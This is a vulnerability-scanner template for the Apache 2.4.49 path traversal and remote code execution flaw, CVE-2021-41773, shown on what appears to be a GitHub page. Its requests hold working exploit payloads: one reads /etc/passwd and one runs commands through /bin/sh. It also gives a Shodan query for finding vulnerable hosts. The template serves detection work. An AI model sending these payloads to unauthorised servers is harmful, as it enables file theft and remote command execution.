



51 lines (43 loc) · 1.9 KB


Code

Blame

Raw







```
1 id: CVE-2021-41773
2
3 info:
4   name: Apache 2.4.49 - Path Traversal and Remote Code Execution
5   author: daffainfo
6   severity: high
7   description: A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49
8   reference:
9     - https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782
10    - https://nvd.nist.gov/vuln/detail/CVE-2021-41773
11    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
12    - https://twitter.com/ptswarm/status/1445376079548624899
13    - https://twitter.com/h4x0r_dz/status/1445401960371429381
14    - https://github.com/blasty/CVE-2021-41773
15   remediation: Update to Apache HTTP Server 2.4.50 or later.
16   classification:
17     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
18     cvss-score: 7.5
19     cve-id: CVE-2021-41773
20     cwe-id: CWE-22
21   metadata:
22     shodan-query: apache version:2.4.49
23   tags: cve,cve2021,lfi,rce,apache,misconfig,traversal,cisa
24
25 requests:
26   - raw:
```

```
27     - |
28       GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
29       Host: {{Hostname}}
30
31     - |
32       POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
33       Host: {{Hostname}}
34       Content-Type: application/x-www-form-urlencoded
35
36       echo Content-Type: text/plain; echo; echo COP-37714-1202-EVC | rev
37
38   matchers-condition: or
39   matchers:
40
41     - type: regex
42       name: LFI
43       regex:
44         - "root.:*:0:0:"
45
46     - type: word
47       name: RCE
48       words:
49         - "CVE-2021-41773-POC"
50
51   # Enhanced by mp on 2022/02/27
```